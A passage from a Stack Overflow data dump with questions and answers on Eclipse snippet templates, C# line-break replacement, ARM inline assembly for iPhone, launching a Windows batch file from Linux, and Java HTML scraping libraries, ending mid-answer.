a picture worths a thousand words, what about this one?</p>\n\n<p><a href=\"https://i.stack.imgur.com/n9ovW.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/n9ovW.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 43120175, "author": "Marcel", "author_id": 754329, "author_profile": "https://Stackoverflow.com/users/754329", "pm_score": 1, "selected": false, "text": "<p>Use Eclipse Snipmatch (Part of Eclipse for Java Developers Package). </p>\n\n<ul>\n<li>Works very well for Java code snippets but also works for any other language like HTML, ABABP, PHP etc. </li>\n<li>You can convert any code fragment from your editor directly to a code template. Highlight the code you'd like to convert to a snippet, context menu \"create snippet\", complete the form and done.</li>\n<li>snippets can be shared via Git repositories with your team members</li>\n</ul>\n\n<p>Manual:\n<a href=\"https://www.eclipse.org/recommenders/manual/#snipmatch\" rel=\"nofollow noreferrer\">https://www.eclipse.org/recommenders/manual/#snipmatch</a></p>\n\n<p>Installation:\n<a href=\"https://marketplace.eclipse.org/content/snipmatch\" rel=\"nofollow noreferrer\">https://marketplace.eclipse.org/content/snipmatch</a></p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237987", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3333/" ]
I'm a recent semi-convert to Eclipse after 20 years of using vi and gvim. One of the things I miss about gvim is that I could cut a bunch of different snippets of code into named buffers, and paste them at will when doing something like repeating a common idiom. For instance I'd have it so `"ap` would paste ``` DatabaseHandle handle = null; try { handle = DatabaseConnectionPool.newHandle(); ``` and then `"bp` would paste ``` handle.commit(); } finally { handle.rollback(); DatabaseConnectionPool.returnHandle(handle); } ``` And I could repeat both of them over and over in the course of a day. In an answer to another question, somebody mentioned that you could "manage code snippets" in Eclipse, but didn't mention how. So now I'm asking: how do you manage code snippets in Eclipse?
You might want to store those two snippets into a [code template](http://waynebeaton.wordpress.com/2006/02/27/code-template-expansion-in-eclipse/), as explained in [this tutorial](http://web.archive.org/web/20140208040332/http://www.java-tips.org/other-api-tips/eclipse/how-to-add-your-own-code-template-in-eclipse.html). And do not forget about the possibility to quickly execute any kind of java code snippets in a [scrapbook](http://www.eclipsezone.com/eclipse/forums/t61137.html) (not exactly what you want, but it can come in handy at times) [Newtopian](https://stackoverflow.com/users/25812/newtopian) adds (in the comments) > > In fact templates become much more powerful by adding variables and tabstops within, so your example above would become **`dbHandle ctrl+space`**. It would copy snippets from both parts and place your cursor right in the middle. > > >
238,002
<p>How can I replace Line Breaks within a string in C#?</p>
[ { "answer_id": 238005, "author": "The.Anti.9", "author_id": 2128, "author_profile": "https://Stackoverflow.com/users/2128", "pm_score": 2, "selected": false, "text": "<p>Use the .Replace() method</p>\n\n<pre><code>Line.Replace(\"\\n\", \"whatever you want to replace with\");\n</code></pre>\n" }, { "answer_id": 238014, "author": "Brian R. Bondy", "author_id": 3153, "author_profile": "https://Stackoverflow.com/users/3153", "pm_score": 5, "selected": false, "text": "<p>I would use Environment.Newline when I wanted to insert a newline for a string, but not to remove all newlines from a string.</p>\n\n<p>Depending on your platform you can have different types of newlines, but even inside the same platform often different types of newlines are used. In particular when dealing with file formats and protocols.</p>\n\n<pre><code>string ReplaceNewlines(string blockOfText, string replaceWith)\n{\n return blockOfText.Replace(\"\\r\\n\", replaceWith).Replace(\"\\n\", replaceWith).Replace(\"\\r\", replaceWith);\n}\n</code></pre>\n" }, { "answer_id": 238016, "author": "ZombieSheep", "author_id": 377, "author_profile": "https://Stackoverflow.com/users/377", "pm_score": 8, "selected": false, "text": "<p>To extend The.Anyi.9's answer, you should also be aware of the <a href=\"http://en.wikipedia.org/wiki/Newline\" rel=\"noreferrer\">different types of line break in general use</a>. Dependent on where your file originated, you may want to look at making sure you catch all the alternatives...</p>\n\n<pre><code>string replaceWith = \"\";\nstring removedBreaks = Line.Replace(\"\\r\\n\", replaceWith).Replace(\"\\n\", replaceWith).Replace(\"\\r\", replaceWith);\n</code></pre>\n\n<p>should get you going...</p>\n" }, { "answer_id": 238020, "author": "Corin Blaikie", "author_id": 1736, "author_profile": "https://Stackoverflow.com/users/1736", "pm_score": 11, "selected": true, "text": "<p>Use replace with <code>Environment.NewLine</code></p>\n\n<pre><code>myString = myString.Replace(System.Environment.NewLine, \"replacement text\"); //add a line terminating ;\n</code></pre>\n\n<p>As mentioned in other posts, if the string comes from another environment (OS) then you'd need to replace that particular environments implementation of <a href=\"http://en.wikipedia.org/wiki/Newline\" rel=\"noreferrer\">new line control characters</a>.</p>\n" }, { "answer_id": 238025, "author": "driis", "author_id": 13627, "author_profile": "https://Stackoverflow.com/users/13627", "pm_score": 4, "selected": false, "text": "<p>If your code is supposed to run in different environments, I would consider using the <code>Environment.NewLine</code> constant, since it is specifically the <code>newline</code> used in the specific environment.</p>\n\n<pre><code>line = line.Replace(Environment.NewLine, \"newLineReplacement\");\n</code></pre>\n\n<p>However, if you get the text from a file originating on another system, this might not be the correct answer, and you should replace with whatever newline constant is used on the other system. It will typically be <code>\\n</code> or <code>\\r\\n</code>.</p>\n" }, { "answer_id": 238030, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 4, "selected": false, "text": "<p>Don't forget that replace doesn't do the replacement in the string, but returns a new string with the characters replaced. The following will remove line breaks (not replace them). I'd use @Brian R. Bondy's method if replacing them with something else, perhaps wrapped as an extension method. Remember to check for null values first before calling Replace or the extension methods provided.</p>\n\n<pre><code>string line = ...\n\nline = line.Replace( \"\\r\", \"\").Replace( \"\\n\", \"\" );\n</code></pre>\n\n<p>As extension methods:</p>\n\n<pre><code>public static class StringExtensions\n{\n public static string RemoveLineBreaks( this string lines )\n {\n return lines.Replace( \"\\r\", \"\").Replace( \"\\n\", \"\" );\n }\n\n public static string ReplaceLineBreaks( this string lines, string replacement )\n {\n return lines.Replace( \"\\r\\n\", replacement )\n .Replace( \"\\r\", replacement )\n .Replace( \"\\n\", replacement );\n }\n}\n</code></pre>\n" }, { "answer_id": 1858752, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<pre><code>string s = Regex.Replace(source_string, \"\\n\", \"\\r\\n\");\n</code></pre>\n\n<p>or</p>\n\n<pre><code>string s = Regex.Replace(source_string, \"\\r\\n\", \"\\n\");\n</code></pre>\n\n<p>depending on which way you want to go.</p>\n\n<p>Hopes it helps.</p>\n" }, { "answer_id": 3666952, "author": "data", "author_id": 221042, "author_profile": "https://Stackoverflow.com/users/221042", "pm_score": 2, "selected": false, "text": "<p>Best way to replace linebreaks safely is</p>\n\n<pre><code>yourString.Replace(\"\\r\\n\",\"\\n\") //handling windows linebreaks\n.Replace(\"\\r\",\"\\n\") //handling mac linebreaks\n</code></pre>\n\n<p>that should produce a string with only \\n (eg linefeed) as linebreaks.\nthis code is usefull to fix mixed linebreaks too.</p>\n" }, { "answer_id": 3915190, "author": "Matt Hinze", "author_id": 2676, "author_profile": "https://Stackoverflow.com/users/2676", "pm_score": 3, "selected": false, "text": "<pre><code>var answer = Regex.Replace(value, \"(\\n|\\r)+\", replacementString);\n</code></pre>\n" }, { "answer_id": 7195741, "author": "Zamir", "author_id": 868582, "author_profile": "https://Stackoverflow.com/users/868582", "pm_score": 3, "selected": false, "text": "<p>I needed to replace the <code>\\r\\n</code> with an actual carriage return and line feed and replace <code>\\t</code> with an actual tab. So I came up with the following:</p>\n\n<pre><code>public string Transform(string data)\n{\n string result = data;\n char cr = (char)13;\n char lf = (char)10;\n char tab = (char)9;\n\n result = result.Replace(\"\\\\r\", cr.ToString());\n result = result.Replace(\"\\\\n\", lf.ToString());\n result = result.Replace(\"\\\\t\", tab.ToString());\n\n return result;\n}\n</code></pre>\n" }, { "answer_id": 8196219, "author": "Mark Byers", "author_id": 61974, "author_profile": "https://Stackoverflow.com/users/61974", "pm_score": 9, "selected": false, "text": "<p>The solutions posted so far either only replace <code>Environment.NewLine</code> or they fail if the replacement string contains line breaks because they call <code>string.Replace</code> multiple times.</p>\n\n<p>Here's a solution that uses a regular expression to make all three replacements in just one pass over the string. This means that the replacement string can safely contain line breaks.</p>\n\n<pre><code>string result = Regex.Replace(input, @\"\\r\\n?|\\n\", replacementString);\n</code></pre>\n" }, { "answer_id": 12569009, "author": "Amrik", "author_id": 1695004, "author_profile": "https://Stackoverflow.com/users/1695004", "pm_score": 2, "selected": false, "text": "<p>As new line can be delimited by <code>\\n</code>, <code>\\r</code> and <code>\\r\\n</code>, first we’ll replace <code>\\r</code> and <code>\\r\\n</code> with <code>\\n</code>, and only then split data string. </p>\n\n<p>The following lines should go to the <code>parseCSV</code> method:</p>\n\n<pre><code>function parseCSV(data) {\n //alert(data);\n //replace UNIX new lines\n data = data.replace(/\\r\\n/g, \"\\n\");\n //replace MAC new lines\n data = data.replace(/\\r/g, \"\\n\");\n //split into rows\n var rows = data.split(\"\\n\");\n}\n</code></pre>\n" }, { "answer_id": 35508201, "author": "Dominik Szymański", "author_id": 5951777, "author_profile": "https://Stackoverflow.com/users/5951777", "pm_score": 4, "selected": false, "text": "<p>To make sure all possible ways of line breaks (Windows, Mac and Unix) are replaced you should use:</p>\n\n<pre><code>string.Replace(\"\\r\\n\", \"\\n\").Replace('\\r', '\\n').Replace('\\n', 'replacement');\n</code></pre>\n\n<p>and in this order, to not to make extra line breaks, when you find some combination of line ending chars.</p>\n" }, { "answer_id": 36323161, "author": "RAY", "author_id": 1914557, "author_profile": "https://Stackoverflow.com/users/1914557", "pm_score": 3, "selected": false, "text": "<p>Why not both?</p>\n\n<pre><code>string ReplacementString = \"\";\n\nRegex.Replace(strin.Replace(System.Environment.NewLine, ReplacementString), @\"(\\r\\n?|\\n)\", ReplacementString);\n</code></pre>\n\n<p><strong>Note:</strong> Replace <code>strin</code> with the name of your input string.</p>\n" }, { "answer_id": 48881719, "author": "Jeppe Stig Nielsen", "author_id": 1336654, "author_profile": "https://Stackoverflow.com/users/1336654", "pm_score": 1, "selected": false, "text": "<p>Another option is to create a <a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.io.stringreader\" rel=\"nofollow noreferrer\"><code>StringReader</code></a> over the string in question. On the reader, do <code>.ReadLine()</code> in a loop. Then you have the lines separated, no matter what (consistent or inconsistent) separators they had. With that, you can proceed as you wish; one possibility is to use a <a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.text.stringbuilder\" rel=\"nofollow noreferrer\"><code>StringBuilder</code></a> and call <code>.AppendLine</code> on it.</p>\n\n<p>The advantage is, you let the framework decide what constitutes a \"line break\".</p>\n" }, { "answer_id": 52797492, "author": "ewwink", "author_id": 458214, "author_profile": "https://Stackoverflow.com/users/458214", "pm_score": 4, "selected": false, "text": "<p>if you want to \"clean\" the new lines, flamebaud comment using regex <code>@\"[\\r\\n]+\"</code> is the best choice.</p>\n\n<pre><code>using System;\nusing System.Text.RegularExpressions;\n\nclass MainClass {\n public static void Main (string[] args) {\n string str = \"AAA\\r\\nBBB\\r\\n\\r\\n\\r\\nCCC\\r\\r\\rDDD\\n\\n\\nEEE\";\n\n Console.WriteLine (str.Replace(System.Environment.NewLine, \"-\"));\n /* Result:\n AAA\n -BBB\n -\n -\n -CCC\n\n\n DDD---EEE\n */\n Console.WriteLine (Regex.Replace(str, @\"\\r\\n?|\\n\", \"-\"));\n // Result:\n // AAA-BBB---CCC---DDD---EEE\n\n Console.WriteLine (Regex.Replace(str, @\"[\\r\\n]+\", \"-\"));\n // Result:\n // AAA-BBB-CCC-DDD-EEE\n }\n}\n</code></pre>\n" }, { "answer_id": 56439378, "author": "Tadej", "author_id": 7199922, "author_profile": "https://Stackoverflow.com/users/7199922", "pm_score": 0, "selected": false, "text": "<p>If you want to replace only the newlines:</p>\n\n<pre><code>var input = @\"sdfhlu \\r\\n sdkuidfs\\r\\ndfgdgfd\";\nvar match = @\"[\\\\ ]+\";\nvar replaceWith = \" \";\nConsole.WriteLine(\"input: \" + input);\nvar x = Regex.Replace(input.Replace(@\"\\n\", replaceWith).Replace(@\"\\r\", replaceWith), match, replaceWith);\nConsole.WriteLine(\"output: \" + x);\n</code></pre>\n\n<p>If you want to replace newlines, tabs and white spaces:</p>\n\n<pre><code>var input = @\"sdfhlusdkuidfs\\r\\ndfgdgfd\";\nvar match = @\"[\\\\s]+\";\nvar replaceWith = \"\";\nConsole.WriteLine(\"input: \" + input);\nvar x = Regex.Replace(input, match, replaceWith);\nConsole.WriteLine(\"output: \" + x);\n</code></pre>\n" }, { "answer_id": 70244795, "author": "MSS", "author_id": 4238323, "author_profile": "https://Stackoverflow.com/users/4238323", "pm_score": -1, "selected": false, "text": "<p>Based on @mark-bayers answer and for cleaner output:</p>\n<pre><code>string result = Regex.Replace(ex.Message, @&quot;(\\r\\n?|\\r?\\n)+&quot;, &quot;replacement text&quot;);\n</code></pre>\n<p>It removes <code>\\r\\n</code> , <code>\\n</code> and <code>\\r</code> while perefer longer one and simplify multiple occurances to one.</p>\n" }, { "answer_id": 70737257, "author": "Boris Dligach", "author_id": 7888235, "author_profile": "https://Stackoverflow.com/users/7888235", "pm_score": 4, "selected": false, "text": "<p>Use new in .NET 6 method</p>\n<pre class=\"lang-C# prettyprint-override\"><code>myString = myString.ReplaceLineEndings();\n</code></pre>\n<p>Replaces ALL newline sequences in the current string.</p>\n<p>Documentation:\n<a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.string.replacelineendings\" rel=\"nofollow noreferrer\">ReplaceLineEndings</a></p>\n" }, { "answer_id": 74438711, "author": "Pavel Stepanek", "author_id": 20137151, "author_profile": "https://Stackoverflow.com/users/20137151", "pm_score": 0, "selected": false, "text": "<p>This is a very long winded <strong>one-liner</strong> solution but it is the only one that I had found to work if you cannot use the the special character escapes like <code>&quot;\\r&quot;</code> and <code>&quot;\\n&quot;</code> and <code>\\x0d</code> and <code>\\u000D</code> as well as <code>System.Environment.NewLine</code> as parameters to the<code>replace()</code> method</p>\n<pre><code>MyStr.replace( System.String.Concat( System.Char.ConvertFromUtf32(13).ToString(), System.Char.ConvertFromUtf32(10).ToString() ), ReplacementString );\n</code></pre>\n<p>This is somewhat offtopic but to get it to work inside Visual Studio's XML .props files, which invoke .NET via the XML properties, I had to dress it up like it is shown below.\nThe Visual Studio XML --&gt; .NET environment just would not accept the special character escapes like <code>&quot;\\r&quot;</code> and <code>&quot;\\n&quot;</code> and <code>\\x0d</code> and <code>\\u000D</code> as well as <code>System.Environment.NewLine</code> as parameters to the<code>replace()</code> method.</p>\n<pre><code>$([System.IO.File]::ReadAllText('MyFile.txt').replace( $([System.String]::Concat($([System.Char]::ConvertFromUtf32(13).ToString()),$([System.Char]::ConvertFromUtf32(10).ToString()))),$([System.String]::Concat('^',$([System.Char]::ConvertFromUtf32(13).ToString()),$([System.Char]::ConvertFromUtf32(10).ToString())))))\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238002", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3821/" ]
How can I replace Line Breaks within a string in C#?
Use replace with `Environment.NewLine` ``` myString = myString.Replace(System.Environment.NewLine, "replacement text"); //add a line terminating ; ``` As mentioned in other posts, if the string comes from another environment (OS) then you'd need to replace that particular environments implementation of [new line control characters](http://en.wikipedia.org/wiki/Newline).
238,010
<p>How is it done? What steps do I need to take and what pitfalls and gotchas are there to consider?</p>
[ { "answer_id": 238018, "author": "Nils Pipenbrinck", "author_id": 15955, "author_profile": "https://Stackoverflow.com/users/15955", "pm_score": 4, "selected": false, "text": "<p>I write quite a bit of ARM Cortex-A8 assembly-code. The CPU on the iPhone is an ARM11 (afaik) so the core instruction set is the same.</p>\n\n<p>What exactly are you looking for? I could give you some examples if you want.</p>\n\n<hr>\n\n<p>EDIT:</p>\n\n<p>I just found out that on the iPhone you have to use the llvm-gcc compiler. As far as I know it should understand the inline assembler syntax from GCC. If so all the ARM inline assembler tutorials will work on the iPhone as well. </p>\n\n<p>Here is a very minimal inline assembler function (in C). Could you please tell me if it compiles and works on the iphone? If it works I can rant a bit how to do usefull stuff in ARM inline assembler, especially for the ARMv6 architecture and the DSP extensions.</p>\n\n<pre><code>inline int saturate_to_255 (int a)\n{\n int y;\n asm (\"usat %0, #8, %1\\n\\t\" : \"=r\"(y) : \"r\"(a));\n return y;\n}\n</code></pre>\n\n<p>should be equivalent to:</p>\n\n<pre><code>inline int saturate_to_255 (int a)\n{\n if (a &lt; 0) a =0;\n if (a &gt; 255) a = 255;\n return a;\n}\n</code></pre>\n" }, { "answer_id": 248718, "author": "Hans Sjunnesson", "author_id": 8683, "author_profile": "https://Stackoverflow.com/users/8683", "pm_score": 5, "selected": true, "text": "<p>I've gotten this to work, thanks to some inside help over at the <a href=\"https://devforums.apple.com/\" rel=\"noreferrer\">Apple Devforums</a>, you should sign up if you're a dedicated IPhone developer.</p>\n\n<p>First thing's first, it's <em>__asm__()</em>, not plain <em>asm()</em>.</p>\n\n<p>Secondly, by default, XCode generates a compilation target that compiles inline assembly against the ARM Thumb instruction set, so <em>usat</em> wasn't recognized as a proper instruction. To fix this, do \"Get Info\" on the Target. Scroll down to the section \"GCC 4.0 - Code Generation\" and uncheck \"Compile for Thumb\". Then this following snippet will compile just fine if you set the Active SDK to \"Device\"</p>\n\n<pre><code>inline int asm_saturate_to_255 (int a) {\n int y;\n __asm__(\"usat %0, #8, %1\\n\\t\" : \"=r\"(y) : \"r\"(a));\n return y;\n}\n</code></pre>\n\n<p>Naturally, now it won't work with the IPhone Simulator. But <em>TargetConditionals.h</em> has defines you can #ifdef against. Namely <em>TARGET_OS_IPHONE</em> and <em>TARGET_IPHONE_SIMULATOR</em>.</p>\n" }, { "answer_id": 250177, "author": "catlan", "author_id": 23028, "author_profile": "https://Stackoverflow.com/users/23028", "pm_score": 0, "selected": false, "text": "<p>Thumb is recommended for application which do not require heavy float operation. Thumb makes the code size smaller and results also in a faster code execution.</p>\n\n<p>So you should only turn Thumb off for application like 3D games...</p>\n" }, { "answer_id": 44217667, "author": "Kamil.S", "author_id": 5329717, "author_profile": "https://Stackoverflow.com/users/5329717", "pm_score": 2, "selected": false, "text": "<p>The registers can also be used explicitly in inline asm</p>\n\n<pre><code>void foo(void) {\n#if TARGET_CPU_ARM64\n __asm (\"sub sp, sp, #0x60\");\n __asm (\"str x29, [sp, #0x50]\");\n#endif\n}\n</code></pre>\n" }, { "answer_id": 70076727, "author": "crifan", "author_id": 1616263, "author_profile": "https://Stackoverflow.com/users/1616263", "pm_score": -1, "selected": false, "text": "<h1>Background</h1>\n<ul>\n<li>Now is 2021 year -&gt; other answer seems is too old?</li>\n<li>the most iOS device(iPhone etc.) is ARM 64bit: <code>arm64</code></li>\n</ul>\n<h1>Inline assembly on the iPhone</h1>\n<h2>asm keyword</h2>\n<ul>\n<li>GNU/GCC compiler\n<ul>\n<li>standard C (compile flag: <code>-ansi</code> / <code>-std</code>): use <code>__asm__</code></li>\n<li>GNU extensio: use <code>asm</code></li>\n</ul>\n</li>\n<li>ARM compiler: use <code>__asm</code></li>\n</ul>\n<h2>asm syntax</h2>\n<p>AFAIK, there many asm syntax</p>\n<ul>\n<li>asm syntax\n<ul>\n<li><code>AT&amp;T syntax</code> ~= <code>GNU syntax</code> ~= <code>UNIX syntax</code></li>\n<li><code>Intel syntax</code></li>\n<li><code>ARM syntax</code></li>\n</ul>\n</li>\n</ul>\n<p>here only focus on most common used <code>GNU/GCC</code> syntax</p>\n<h3><code>GNU/UNIX syntax</code></h3>\n<h4>Basic Asm</h4>\n<pre><code>asm(&quot;assembly code&quot;);\n__asm__(&quot;assembly code&quot;);\n</code></pre>\n<h4>Extended Asm</h4>\n<pre><code>asm asm-qualifiers ( AssemblerTemplate \n : OutputOperands \n [ : InputOperands\n [ : Clobbers ] ])\n</code></pre>\n<hr />\n<h1>My Example code</h1>\n<ul>\n<li>environment\n<ul>\n<li>dev\n<ul>\n<li>macOS\n<ul>\n<li>IDE: XCode\n<ul>\n<li>compiler: <code>clang</code></li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</li>\n<li>running\n<ul>\n<li>iOS - iPhone\n<ul>\n<li>hardware arch: <code>ARM64</code></li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n<h2>inline asm to call svc 0x80 for ARM64 using Extended Asm</h2>\n<ul>\n<li>inline asm inside ObjC code</li>\n</ul>\n<pre class=\"lang-c prettyprint-override\"><code>// inline asm code inside iOS ObjC code\n__attribute__((always_inline)) long svc_0x80_syscall(int syscall_number, const char * pathname, struct stat * stat_info) {\n register const char * x0_pathname asm (&quot;x0&quot;) = pathname; // first arg\n register struct stat * x1_stat_info asm (&quot;x1&quot;) = stat_info; // second arg\n register int x16_syscall_number asm (&quot;x16&quot;) = syscall_number; // special syscall number store to x16\n\n register int x4_ret asm(&quot;x4&quot;) = -1; // store result\n\n __asm__ volatile(\n &quot;svc #0x80\\n&quot;\n &quot;mov x4, x0\\n&quot;\n : &quot;=r&quot;(x4_ret)\n : &quot;r&quot;(x0_pathname), &quot;r&quot;(x1_stat_info), &quot;r&quot;(x16_syscall_number)\n// : &quot;x0&quot;, &quot;x1&quot;, &quot;x4&quot;, &quot;x16&quot;\n );\n return x4_ret;\n}\n</code></pre>\n<ul>\n<li>call inline asm</li>\n</ul>\n<pre class=\"lang-c prettyprint-override\"><code>// normal ObjC code\n#import &lt;sys/syscall.h&gt;\n\n...\n int openResult = -1;\n struct stat stat_info;\n const char * filePathStr = [filePath UTF8String];\n...\n // call inline asm function\n openResult = svc_0x80_syscall(SYS_stat64, filePathStr, &amp;stat_info);\n</code></pre>\n<h1>Doc</h1>\n<ul>\n<li><a href=\"https://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html#s6\" rel=\"nofollow noreferrer\">GCC-Inline-Assembly-HOWTO (ibiblio.org)</a></li>\n<li><a href=\"https://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html\" rel=\"nofollow noreferrer\">Extended Asm (Using the GNU Compiler Collection (GCC))</a></li>\n<li><a href=\"https://developer.arm.com/documentation/ihi0055/latest\" rel=\"nofollow noreferrer\">Procedure Call Standard for the Arm® 64-bit Architecture</a></li>\n<li><a href=\"http://www.ethernut.de/en/documents/arm-inline-asm.html\" rel=\"nofollow noreferrer\">ARM GCC Inline Assembler Cookbook</a></li>\n<li><a href=\"https://gcc.gnu.org/wiki/ConvertBasicAsmToExtended\" rel=\"nofollow noreferrer\">ConvertBasicAsmToExtended - GCC Wiki</a></li>\n<li><a href=\"https://stackoverflow.com/questions/32985409/fork-implementation-by-using-svc-call/32990553#32990553\">ios - fork() implementation by using svc call - Stack Overflow</a></li>\n<li><a href=\"https://stackoverflow.com/questions/37358451/arm-inline-asm-exit-system-call-with-value-read-from-memory/37363860#37363860\">linux - ARM inline asm: exit system call with value read from memory - Stack Overflow</a></li>\n</ul>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238010", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8683/" ]
How is it done? What steps do I need to take and what pitfalls and gotchas are there to consider?
I've gotten this to work, thanks to some inside help over at the [Apple Devforums](https://devforums.apple.com/), you should sign up if you're a dedicated IPhone developer. First thing's first, it's *\_\_asm\_\_()*, not plain *asm()*. Secondly, by default, XCode generates a compilation target that compiles inline assembly against the ARM Thumb instruction set, so *usat* wasn't recognized as a proper instruction. To fix this, do "Get Info" on the Target. Scroll down to the section "GCC 4.0 - Code Generation" and uncheck "Compile for Thumb". Then this following snippet will compile just fine if you set the Active SDK to "Device" ``` inline int asm_saturate_to_255 (int a) { int y; __asm__("usat %0, #8, %1\n\t" : "=r"(y) : "r"(a)); return y; } ``` Naturally, now it won't work with the IPhone Simulator. But *TargetConditionals.h* has defines you can #ifdef against. Namely *TARGET\_OS\_IPHONE* and *TARGET\_IPHONE\_SIMULATOR*.
238,013
<p>I have an application running only on Windows and a batch file that launches it. I want to invoke this batch file from Linux, meaning something like Linux batch will launch the windows batch with parameters and this in its turn run my application.</p> <p>Can I do that? How?</p>
[ { "answer_id": 238021, "author": "dsm", "author_id": 7780, "author_profile": "https://Stackoverflow.com/users/7780", "pm_score": 5, "selected": true, "text": "<p>You could install an ssh server in the windows box (Cygwin has one), then from linux do something like:</p>\n\n<pre><code>ssh user@windows-box c:/path/to/batch.cmd\n</code></pre>\n\n<p>and that should launch your application in the windows box.</p>\n" }, { "answer_id": 238027, "author": "Peter K.", "author_id": 12570, "author_profile": "https://Stackoverflow.com/users/12570", "pm_score": 0, "selected": false, "text": "<p>Our build process currently goes the other way: a windows sever kicks off things on the Linux server using plink (part of <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html\" rel=\"nofollow noreferrer\">PuTTY</a>). You might be able to set something similar up.</p>\n" }, { "answer_id": 238031, "author": "Aleksey Otrubennikov", "author_id": 16209, "author_profile": "https://Stackoverflow.com/users/16209", "pm_score": 0, "selected": false, "text": "<p>This may cause a security issue. Our information security person did not allow me to invoke any programs directly.</p>\n\n<p>The safer way is to set up server on Windows computer. This can be a web-server for example. And then invoke your process inside PHP/Perl/Python script. </p>\n" }, { "answer_id": 238104, "author": "Andru Luvisi", "author_id": 5922, "author_profile": "https://Stackoverflow.com/users/5922", "pm_score": 1, "selected": false, "text": "<p>The most direct way is probably to install an ssh server on the windows box. <a href=\"http://www.cygwin.com/\" rel=\"nofollow noreferrer\">Cygwin</a> includes an ssh server.</p>\n\n<p>Depending on how precise your timing needs are, you might be able to have an \"at\" job on the windows box that runs periodically (every 5 minutes?) and runs if it sees that a particular file exists, deleting the file. Then you could use <a href=\"http://www.samba.org/\" rel=\"nofollow noreferrer\">Samba</a>/smbclient to create the file. You would need to turn on filesharing on the windows box for this to work.</p>\n\n<p>If the windows box has a web server, you could write a <a href=\"http://www.w3.org/CGI/\" rel=\"nofollow noreferrer\">CGI</a>, and trigger it using <a href=\"http://www.gnu.org/software/wget/\" rel=\"nofollow noreferrer\">wget</a> or <a href=\"http://curl.haxx.se/\" rel=\"nofollow noreferrer\">cURL</a>.</p>\n" }, { "answer_id": 21010364, "author": "Mrchief", "author_id": 244353, "author_profile": "https://Stackoverflow.com/users/244353", "pm_score": 0, "selected": false, "text": "<p>Also look at <a href=\"http://sourceforge.net/projects/winexe/\" rel=\"nofollow\">winexe</a> that allows you to execute windows commands/batch scripts without running ssh server.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238013", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9855/" ]
I have an application running only on Windows and a batch file that launches it. I want to invoke this batch file from Linux, meaning something like Linux batch will launch the windows batch with parameters and this in its turn run my application. Can I do that? How?
You could install an ssh server in the windows box (Cygwin has one), then from linux do something like: ``` ssh user@windows-box c:/path/to/batch.cmd ``` and that should launch your application in the windows box.
238,036
<p>I'm working on an app which scrapes data from a website and I was wondering how I should go about getting the data. Specifically I need data contained in a number of div tags which use a specific CSS class - Currently (for testing purposes) I'm just checking for </p> <pre><code>div class = "classname" </code></pre> <p>in each line of HTML - This works, but I can't help but feel there is a better solution out there. </p> <p>Is there any nice way where I could give a class a line of HTML and have some nice methods like:</p> <pre><code>boolean usesClass(String CSSClassname); String getText(); String getLink(); </code></pre>
[ { "answer_id": 238040, "author": "Yuval", "author_id": 2819, "author_profile": "https://Stackoverflow.com/users/2819", "pm_score": 0, "selected": false, "text": "<p>If your HTML is well-formed, you can easily employ an XML parser to do the job for you... If you're only reading, <a href=\"http://en.wikipedia.org/wiki/SAX\" rel=\"nofollow noreferrer\">SAX</a> would be ideal.</p>\n" }, { "answer_id": 238055, "author": "PhiLho", "author_id": 15459, "author_profile": "https://Stackoverflow.com/users/15459", "pm_score": 4, "selected": false, "text": "<p>You might be interested by <a href=\"http://home.ccil.org/~cowan/XML/tagsoup/\" rel=\"noreferrer\" title=\"TagSoup\">TagSoup</a>, a Java HTML parser able to handle malformed HTML. XML parsers would work only on well formed XHTML.</p>\n" }, { "answer_id": 238063, "author": "dave", "author_id": 14355, "author_profile": "https://Stackoverflow.com/users/14355", "pm_score": 3, "selected": false, "text": "<p>The HTMLParser project (<a href=\"http://htmlparser.sourceforge.net/\" rel=\"noreferrer\">http://htmlparser.sourceforge.net/</a>) might be a possibility. It seems to be pretty decent at handling malformed HTML. The following snippet should do what you need:</p>\n\n<pre><code>Parser parser = new Parser(htmlInput);\nCssSelectorNodeFilter cssFilter = \n new CssSelectorNodeFilter(\"DIV.targetClassName\");\nNodeList nodes = parser.parse(cssFilter);\n</code></pre>\n" }, { "answer_id": 238115, "author": "Fernando Miguélez", "author_id": 34880, "author_profile": "https://Stackoverflow.com/users/34880", "pm_score": 4, "selected": false, "text": "<p>The main problem as stated by preceding coments is malformed HTML, so an html cleaner or HTML-XML converter is a must. Once you get the XML code (XHTML) there are plenty of tools to handle it. You could get it with a simple SAX handler that extracts only the data you need or any tree-based method (DOM, JDOM, etc.) that let you even modify original code.</p>\n\n<p>Here is a sample code that uses <a href=\"http://htmlcleaner.sourceforge.net/\" rel=\"noreferrer\">HTML cleaner</a> to get all DIVs that use a certain class and print out all Text content inside it.</p>\n\n<pre><code>import java.io.IOException;\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\n\nimport org.htmlcleaner.HtmlCleaner;\nimport org.htmlcleaner.TagNode;\n\n/**\n * @author Fernando Miguélez Palomo &lt;fernandoDOTmiguelezATgmailDOTcom&gt;\n */\npublic class TestHtmlParse\n{\n static final String className = \"tags\";\n static final String url = \"http://www.stackoverflow.com\";\n\n TagNode rootNode;\n\n public TestHtmlParse(URL htmlPage) throws IOException\n {\n HtmlCleaner cleaner = new HtmlCleaner();\n rootNode = cleaner.clean(htmlPage);\n }\n\n List getDivsByClass(String CSSClassname)\n {\n List divList = new ArrayList();\n\n TagNode divElements[] = 